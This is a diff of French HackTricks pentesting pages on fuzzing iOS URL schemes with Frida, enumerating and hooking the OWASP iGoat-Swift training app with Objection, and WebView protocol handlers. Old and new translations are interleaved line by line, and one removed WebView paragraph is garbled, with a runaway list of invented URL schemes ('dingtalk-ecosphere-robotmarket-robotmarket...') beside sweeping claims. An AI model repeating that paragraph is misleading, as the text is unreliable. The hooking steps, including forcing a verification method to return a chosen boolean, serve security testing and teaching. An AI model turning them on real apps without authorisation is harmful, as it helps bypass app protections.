return w.openSensitiveURL_withOptions_(toOpen, null);
|
||||
}
|
||||
```
|
||||
```javascript
|
||||
function openURL(url) {
|
||||
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return w.openSensitiveURL_withOptions_(toOpen, null);
|
||||
}
|
||||
```
|
||||
|
||||
> Notez que l'utilisation d'API non publiques n'est pas autorisée sur l'App Store, c'est pourquoi nous ne les testons même pas, mais nous sommes autorisés à les utiliser pour notre analyse dynamique.
|
||||
> Notez que l'utilisation d'API non publiques n'est pas autorisée sur l'App Store, c'est pourquoi nous ne les testons même pas mais nous sommes autorisés à les utiliser pour notre analyse dynamique.
|
||||
|
||||
## Fuzzing des schémas d'URL
|
||||
## Fuzzing de schémas d'URL
|
||||
|
||||
Si l'application analyse des parties de l'URL, vous pouvez également effectuer un fuzzing d'entrée pour détecter des bugs de corruption de mémoire.
|
||||
Si l'application analyse des parties de l'URL, vous pouvez également effectuer du fuzzing d'entrée pour détecter des bugs de corruption de mémoire.
|
||||
|
||||
Ce que nous avons appris ci-dessus peut maintenant être utilisé pour construire votre propre fuzzer dans le langage de votre choix, par exemple en Python, et appeler `openURL` en utilisant [RPC de Frida](https://www.frida.re/docs/javascript-api/#rpc). Ce fuzzer doit faire ce qui suit :
|
||||
Ce que nous avons appris ci-dessus peut maintenant être utilisé pour construire votre propre fuzzer dans le langage de votre choix, par exemple en Python, et appeler `openURL` en utilisant [RPC de Frida](https://www.frida.re/docs/javascript-api/#rpc). Ce fuzzer devrait faire ce qui suit :
|
||||
|
||||
* Générer des charges utiles.
|
||||
* Pour chacun d'eux, appeler `openURL`.
|
||||
* Pour chacune d'elles, appeler `openURL`.
|
||||
* Vérifier si l'application génère un rapport de plantage (`.ips`) dans `/private/var/mobile/Library/Logs/CrashReporter`.
|
||||
|
||||
Le projet [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) propose des dictionnaires de fuzzing que vous pouvez utiliser comme charges utiles.
|
||||
|
||||
## **Fuzzing avec Frida**
|
||||
|
||||
Faire cela avec Frida est assez facile, vous pouvez vous référer à ce [blog post](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) pour voir un exemple qui fuzzes l'application iGoat-Swift (fonctionnant sur iOS 11.1.2).
|
||||
Faire cela avec Frida est assez simple, vous pouvez vous référer à ce [billet de blog](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) pour voir un exemple qui fuzz l'application iGoat-Swift (fonctionnant sur iOS 11.1.2).
|
||||
|
||||
Avant d'exécuter le fuzzer, nous avons besoin des schémas d'URL en tant qu'entrées. À partir de l'analyse statique, nous savons que l'application iGoat-Swift prend en charge le schéma d'URL et les paramètres suivants : `iGoat://?contactNumber={0}&message={0}`.
|
||||
Avant d'exécuter le fuzzer, nous avons besoin des schémas d'URL comme entrées. À partir de l'analyse statique, nous savons que l'application iGoat-Swift prend en charge le schéma d'URL et les paramètres suivants : `iGoat://?contactNumber={0}&message={0}`.
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
|
@ -183,16 +179,14 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,54 +1,281 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Pour cette section, l'outil [**Objection**](https://github.com/sensepost/objection) va être utilisé.\
|
||||
Commencez par obtenir une session Objection en exécutant quelque chose comme :
|
||||
Commencez par obtenir une session d'objection en exécutant quelque chose comme :
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
```markdown
|
||||
Vous pouvez également exécuter `frida-ps -Uia` pour vérifier les processus en cours d'exécution sur le téléphone.
|
||||
|
||||
# Énumération de base de l'application
|
||||
|
||||
## Chemins locaux de l'application
|
||||
|
||||
* `env`: Trouver les chemins où l'application est stockée dans le périphérique
|
||||
* `env` : Trouver les chemins où l'application est stockée dans l'appareil
|
||||
|
||||
```bash
|
||||
env
|
||||
```bash
|
||||
env
|
||||
|
||||
Name Path
|
||||
----------------- -----------------------------------------------------------------------------------------------
|
||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
Nom Chemin
|
||||
----------------- -----------------------------------------------------------------------------------------------
|
||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
|
||||
## Liste des bundles, frameworks et bibliothèques
|
||||
## Lister les Bundles, frameworks et bibliothèques
|
||||
|
||||
* `ios bundles list_bundles`: Liste des bundles de l'application
|
||||
* `ios bundles list_bundles` : Lister les bundles de l'application
|
||||
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
Executable Bundle Version Path
|
||||
------------ -------------------- --------- -------------------------------------------
|
||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks`: Liste des frameworks externes utilisés par
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
Exécutable Bundle Version Chemin
|
||||
------------ -------------------- --------- -------------------------------------------
|
||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks` : Lister les frameworks externes utilisés par l'application
|
||||
|
||||
```bash
|
||||
ios bundles list_frameworks
|
||||
Exécutable Bundle Version Chemin
|
||||
------------------------------ -------------------------------------------- ---------- -------------------------------------------
|
||||
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
|
||||
...vateFrameworks/CoreDuetContext.framework
|
||||
FBReactNativeSpec org.cocoapods.FBReactNativeSpec 0.61.5 ...p/Frameworks/FBReactNativeSpec.framework
|
||||
...ystem/Library/Frameworks/IOKit.framework
|
||||
RCTAnimation org.cocoapods.RCTAnimation 0.61.5 ...le.app/Frameworks/RCTAnimation.framework
|
||||
jsinspector org.cocoapods.jsinspector 0.61.5 ...tle.app/Frameworks/jsinspector.framework
|
||||
DoubleConversion org.cocoapods.DoubleConversion 1.1.6 ...pp/Frameworks/DoubleConversion.framework
|
||||
react_native_config org.cocoapods.react-native-config 0.12.0 ...Frameworks/react_native_config.framework
|
||||
react_native_netinfo org.cocoapods.react-native-netinfo 4.4.0 ...rameworks/react_native_netinfo.framework
|
||||
PureLayout org.cocoapods.PureLayout 3.1.5 ...ttle.app/Frameworks/PureLayout.framework
|
||||
GoogleUtilities org.cocoapods.GoogleUtilities 6.6.0 ...app/Frameworks/GoogleUtilities.framework
|
||||
RCTNetwork org.cocoapods.RCTNetwork 0.61.5 ...ttle.app/Frameworks/RCTNetwork.framework
|
||||
RCTActionSheet org.cocoapods.RCTActionSheet 0.61.5 ....app/Frameworks/RCTActionSheet.framework
|
||||
react_native_image_editor org.cocoapods.react-native-image-editor 2.1.0 ...orks/react_native_image_editor.framework
|
||||
CoreModules org.cocoapods.CoreModules 0.61.5 ...tle.app/Frameworks/CoreModules.framework
|
||||
RCTVibration org.cocoapods.RCTVibration 0.61.5 ...le.app/Frameworks/RCTVibration.framework
|
||||
RNGestureHandler org.cocoapods.RNGestureHandler 1.6.1 ...pp/Frameworks/RNGestureHandler.framework
|
||||
RNCClipboard org.cocoapods.RNCClipboard 1.5.1 ...le.app/Frameworks/RNCClipboard.framework
|
||||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||
[..]
|
||||
```
|
||||
* `memory list modules` : Lister les modules chargés en mémoire
|
||||
|
||||
```bash
|
||||
memory list modules
|
||||
Nom Base Taille Chemin
|
||||
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
|
||||
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
|
||||
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
|
||||
SystemConfiguration 0x1aa842000 495616 (484.0 KiB) /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguratio...
|
||||
libc++.1.dylib 0x1bdcfd000 368640 (360.0 KiB) /usr/lib/libc++.1.dylib
|
||||
libz.1.dylib 0x1efd3c000 73728 (72.0 KiB) /usr/lib/libz.1.dylib
|
||||
libsqlite3.dylib 0x1c267f000 1585152 (1.5 MiB) /usr/lib/libsqlite3.dylib
|
||||
Foundation 0x1ab550000 2732032 (2.6 MiB) /System/Library/Frameworks/Foundation.framework/Foundation
|
||||
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||
[...]
|
||||
```
|
||||
* `memory list exports <nom_module>` : Exportations d'un module chargé
|
||||
|
||||
```bash
|
||||
memory list exports iGoat-Swift
|
||||
Type Nom Adresse
|
||||
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
|
||||
variable _mh_execute_header 0x104ffc000
|
||||
fonction _mdictof 0x10516cb88
|
||||
fonction _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
|
||||
fonction _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
|
||||
fonction _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
|
||||
fonction _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
|
||||
fonction _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
|
||||
fonction _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
|
||||
fonction _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
|
||||
fonction _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
|
||||
fonction _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
|
||||
fonction _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
|
||||
variable _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
|
||||
variable _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
|
||||
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
|
||||
[..]
|
||||
```
|
||||
|
||||
## Lister les classes d'une APP
|
||||
|
||||
* `ios hooking list classes` : Lister les classes de l'application
|
||||
|
||||
```bash
|
||||
ios hooking list classes
|
||||
|
||||
AAAbsintheContext
|
||||
AAAbsintheSigner
|
||||
AAAbsintheSignerContextCache
|
||||
AAAcceptedTermsController
|
||||
AAAccount
|
||||
AAAccountManagementUIResponse
|
||||
AAAccountManager
|
||||
AAAddEmailUIRequest
|
||||
AAAppleIDSettingsRequest
|
||||
AAAppleTVRequest
|
||||
AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
* `ios hooking search classes <terme_recherche>` : Rechercher une classe contenant une chaîne. Vous pouvez **rechercher un terme unique lié au nom du package principal de l'application** pour trouver les classes principales de l'application comme dans l'exemple :
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
iGoat_Swift.CoreDataHelper
|
||||
iGoat_Swift.RCreditInfo
|
||||
iGoat_Swift.SideContainmentSegue
|
||||
iGoat_Swift.CenterContainmentSegue
|
||||
iGoat_Swift.KeyStorageServerSideVC
|
||||
iGoat_Swift.HintVC
|
||||
iGoat_Swift.BinaryCookiesExerciseVC
|
||||
iGoat_Swift.ExerciseDemoVC
|
||||
iGoat_Swift.PlistStorageExerciseViewController
|
||||
iGoat_Swift.CouchBaseExerciseVC
|
||||
iGoat_Swift.MemoryManagementVC
|
||||
[...]
|
||||
```
|
||||
|
||||
## Lister les méthodes de classe
|
||||
|
||||
* `ios hooking list class_methods` : Lister les méthodes d'une classe spécifique
|
||||
|
||||
```bash
|
||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||
- cvv
|
||||
- setCvv:
|
||||
- setName:
|
||||
- .cxx_destruct
|
||||
- name
|
||||
- cardNumber
|
||||
- init
|
||||
- initWithValue:
|
||||
- setCardNumber:
|
||||
```
|
||||
* `ios hooking search methods <terme_recherche>` : Rechercher une méthode contenant une chaîne
|
||||
|
||||
```bash
|
||||
ios hooking search methods cvv
|
||||
[AMSFinanceVerifyPurchaseResponse + _dialogRequestForCVVFromPayload:verifyType:]
|
||||
[AMSFinanceVerifyPurchaseResponse - _handleCVVDialogResult:shouldReattempt:]
|
||||
[AMSFinanceVerifyPurchaseResponse - _runCVVRequestForCode:error:]
|
||||
[iGoat_Swift.RCreditInfo - cvv]
|
||||
[iGoat_Swift.RCreditInfo - setCvv:]
|
||||
[iGoat_Swift.RealmExerciseVC - creditCVVTextField]
|
||||
[iGoat_Swift.RealmExerciseVC - setCreditCVVTextField:]
|
||||
[iGoat_Swift.DeviceLogsExerciseVC - cvvTextField]
|
||||
[iGoat_Swift.DeviceLogsExerciseVC - setCvvTextField:]
|
||||
[iGoat_Swift.CloudMisconfigurationExerciseVC - cvvTxtField]
|
||||
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
|
||||
```
|
||||
|
||||
# Accrochage de base
|
||||
|
||||
Maintenant que vous avez **énuméré les classes et modules** utilisés par l'application, vous avez peut-être trouvé des **noms de classes et de méthodes intéressants**.
|
||||
|
||||
## Accrocher toutes les méthodes d'une classe
|
||||
|
||||
* `ios hooking watch class <nom_classe>` : Accrocher toutes les méthodes d'une classe, décharger tous les paramètres initiaux et les retours
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
```
|
||||
|
||||
## Accrocher une méthode unique
|
||||
|
||||
* `ios hooking watch method "-[<nom_classe> <nom_methode>]" --dump-args --dump-return --dump-backtrace` : Accrocher une méthode spécifique d'une classe en déchargeant les paramètres, les traces arrière et les retours de la méthode à chaque fois qu'elle est appelée
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
|
||||
## Changer le retour Booléen
|
||||
|
||||
* `ios hooking set return_value "-[<nom_classe> <nom_methode>]" false` : Cela fera en sorte que la méthode sélectionnée retourne le booléen indiqué
|
||||
|
||||
```bash
|
||||
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
|
||||
```
|
||||
|
||||
## Générer un modèle d'accrochage
|
||||
|
||||
* `ios hooking generate simple <nom_classe>` :
|
||||
|
||||
```bash
|
||||
ios hooking generate simple iGoat_Swift.RCreditInfo
|
||||
|
||||
var cible = ObjC.classes.iGoat_Swift.RCreditInfo;
|
||||
|
||||
Interceptor.attach(cible['+ sharedSchema'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrée dans + sharedSchema!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Sortie de + sharedSchema');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(cible['+ className'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrée dans + className!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Sortie de + className');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(cible['- cvv'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrée dans - cvv!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Sortie de - cvv');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(cible['- setCvv:'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entrée dans - setCvv:!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Sortie de - setCvv:');
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux** dépôts github [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,9 +1,34 @@
|
|||
# Gestionnaires de protocoles WebView
|
||||
<details>
|
||||
|
||||
Les gestionnaires de protocoles WebView sont des applications tierces qui peuvent être appelées à partir d'une application iOS pour gérer des URL spécifiques. Ces URL peuvent être utilisées pour lancer des actions spécifiques dans l'application tierce. Les gestionnaires de protocoles WebView peuvent être utilisés pour lancer des attaques de phishing ou pour exécuter du code malveillant sur l'appareil de l'utilisateur.
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Les applications tierces peuvent être enregistrées pour gérer des URL spécifiques en ajoutant des entrées dans le fichier Info.plist de l'application. Les entrées peuvent être ajoutées pour les URL commençant par "http", "https", "ftp", "tel", "mailto", "sms", "facetime", "facetime-audio", "facetime-pstn", "maps", "itms", "itms-apps", "itms-services", "calshow", "webcal", "comgooglemaps", "comgooglemaps-x-callback", "waze", "fb", "twitter", "instagram", "linkedin", "pinterest", "tumblr", "vimeo", "vine", "youtube", "youku", "weibo", "sinaweibo", "zhihu", "alipay", "wechat", "mqq", "mqqapi", "mqqopensdkapi", "mqqopensdkapiV2", "mqqwpa", "mqzoneopensdkapiV2", "mqzoneopensdkapi", "wtloginmqq", "weixin", "wechatmoments", "wechatpay", "dingtalk", "dingtalk-open", "dingtalk-oapi", "dingtalk-test", "dingtalk-sso", "dingtalk-contacts", "dingtalk-im", "dingtalk-robot", "dingtalk-attendance", "dingtalk-smartwork", "dingtalk-workrecord", "dingtalk-process", "dingtalk-message", "dingtalk-calendar", "dingtalk-health", "dingtalk-approval", "dingtalk-notify", "dingtalk-ecosphere", "dingtalk-ecosphere-open", "dingtalk-ecosphere-oapi", "dingtalk-ecosphere-test", "dingtalk-ecosphere-sso", "dingtalk-ecosphere-contacts", "dingtalk-ecosphere-im", "dingtalk-ecosphere-robot", "dingtalk-ecosphere-attendance", "dingtalk-ecosphere-smartwork", "dingtalk-ecosphere-workrecord", "dingtalk-ecosphere-process", "dingtalk-ecosphere-message", "dingtalk-ecosphere-calendar", "dingtalk-ecosphere-health", "dingtalk-ecosphere-approval", "dingtalk-ecosphere-notify", "dingtalk-ecosphere-robotmarket", "dingtalk-ecosphere-robotmarket-open", "dingtalk-ecosphere-robotmarket-oapi", "dingtalk-ecosphere-robotmarket-test", "dingtalk-ecosphere-robotmarket-sso", "dingtalk-ecosphere-robotmarket-contacts", "dingtalk-ecosphere-robotmarket-im", "dingtalk-ecosphere-robotmarket-robot", "dingtalk-ecosphere-robotmarket-attendance", "dingtalk-ecosphere-robotmarket-smartwork", "dingtalk-ecosphere-robotmarket-workrecord", "dingtalk-ecosphere-robotmarket-process", "dingtalk-ecosphere-robotmarket-message", "dingtalk-ecosphere-robotmarket-calendar", "dingtalk-ecosphere-robotmarket-health", "dingtalk-ecosphere-robotmarket-approval", "dingtalk-ecosphere-robotmarket-notify", "dingtalk-ecosphere-robotmarket-robotmarket", "dingtalk-ecosphere-robotmarket-robotmarket-open", "dingtalk-ecosphere-robotmarket-robotmarket-oapi", "dingtalk-ecosphere-robotmarket-robotmarket-test", "dingtalk-ecosphere-robotmarket-robotmarket-sso", "dingtalk-ecosphere-robotmarket-robotmarket-contacts", "dingtalk-ecosphere-robotmarket-robotmarket-im", "dingtalk-ecosphere-robotmarket-robotmarket-robot", "dingtalk-ecosphere-robotmarket-robotmarket-attendance", "dingtalk-ecosphere-robotmarket-robotmarket-smartwork", "dingtalk-ecosphere-robotmarket-robotmarket-workrecord", "dingtalk-ecosphere-robotmarket-robotmarket-process", "dingtalk-ecosphere-robotmarket-robotmarket-message", "dingtalk-ecosphere-robotmarket-robotmarket-calendar", "dingtalk-ecosphere-robotmarket-robotmarket-health", "dingtalk-ecosphere-robotmarket-robotmarket-approval", "dingtalk-ecosphere-robotmarket-robotmarket-notify", "dingtalk-ecosphere-robotmarket-robotmarket-robotmarket".
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
Les applications tierces peuvent également être enregistrées pour gérer des URL personnalisées en ajoutant des entrées dans le fichier Info.plist de l'application. Les entrées peuvent être ajoutées pour les URL personnalisées commençant par un préfixe spécifique.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
Les attaquants peuvent utiliser des URL malveillantes pour lancer des attaques de phishing ou pour exécuter du code malveillant sur l'appareil de l'utilisateur. Les attaquants peuvent également utiliser des URL malveillantes pour rediriger l'utilisateur vers des sites Web malveillants ou pour voler des informations sensibles de l'utilisateur.
|
||||
</details>
|
||||
|
||||
|
||||
# Gestionnaires de protocole WebView
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
